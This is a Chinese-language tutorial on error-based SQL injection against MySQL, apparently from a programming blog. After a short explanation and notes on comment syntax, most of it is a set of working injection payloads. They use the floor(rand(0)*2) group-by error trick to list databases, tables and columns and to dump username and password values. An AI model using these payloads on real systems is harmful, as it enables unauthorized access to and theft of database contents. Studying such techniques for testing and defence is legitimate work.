1. 程式人生 > >SQL注入之報錯型注入

SQL注入之報錯型注入

介紹

聯合查詢可以把我們想要的資料展示在網頁上,替代網頁上原有的資料內容;而今天我們要討論的是,網頁上沒有展示查詢結果的地方,也就是說select語句執行結果不能出現在網頁上,我們需要讓執行結果出現在其它地方,出現在哪呢?出現在報錯語句中。
資料庫返回到頁面上的唯一資訊就是,mysql錯誤。因此,我們需要以一種方式處理我們的查詢,以便通過錯誤獲取資料庫資訊。查詢條件必須是正確的,能被後端資料庫解釋執行,且需產生一個邏輯錯誤,讓資料庫資訊伴隨錯誤字串返回。

前提

知識點:

  • 子查詢
  • information_schema
  • 衍生表

註釋

mysql的註釋有4 種:

  1. ‘#’:# 開頭到行尾的都為註釋,只能註釋一行。

  2. ‘– ‘(2個減號 一個空格):-開頭到行尾都為註釋 , 只能註釋一行。

  3. ‘/xxx /’:可以註釋多行,但是一定要閉合,不然出錯。

  4. ‘/!xxx/’:可以跨行註釋,但是一定要閉合,不然出錯。

流程

公式

and (select 1 from (select count(*),concat((select(select(報錯語句))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

資料庫

and (select 1 from (select count(*),concat((select(select(select group_concat(schema_name) from information_schema.schemata))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

and (select 1 from (select count(*),concat((select(select(select group_concat(table_name) from information_schema.tables where table_schema=database()))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

欄位

and (select 1 from (select count(*),concat((select(select(select group_concat(column_name) from information_schema.columns where table_name=十六進位制))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

資料

and (select 1 from (select count(*),concat((select(select(select distinct concat(username,password) from xxx limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+

and (select 1 from (select count(*),concat((select(select(select distinct concat(‘~’,table_schema) from information_schema.tables limit 7,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+